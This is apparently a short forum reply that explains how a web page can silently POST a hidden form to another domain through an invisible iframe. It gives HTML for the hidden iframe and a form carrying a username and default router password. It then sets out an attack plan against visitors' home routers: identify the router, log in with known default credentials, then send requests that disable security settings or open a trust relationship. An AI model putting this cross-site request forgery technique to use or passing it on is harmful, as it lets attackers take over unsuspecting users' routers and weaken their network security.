I'm guessing you mean HTTP POST :)

You can definitely POST any FORM to a third party domain without hacks just by calling the submit() method of your FORM which targets a hidden iframe. e.g.

<iframe style="display:none" id="thirdparty" name="thirdparty"></iframe>
<form name="myform" action="http://whatever.com/foo.bar"; method="POST" target="thirdparty">
<input type="text" name="username" value="r00t">
<input type="text" name="password" value="default router password">

The sequence of events would be to 1) Identify the router, 2) POST a login request with known default logins and 3) POST a change request to e.g. disable security settings or open a trust relationship.

The only time consuming part is gathering router identification traits and tailoring login and change requests to specific router vendors.
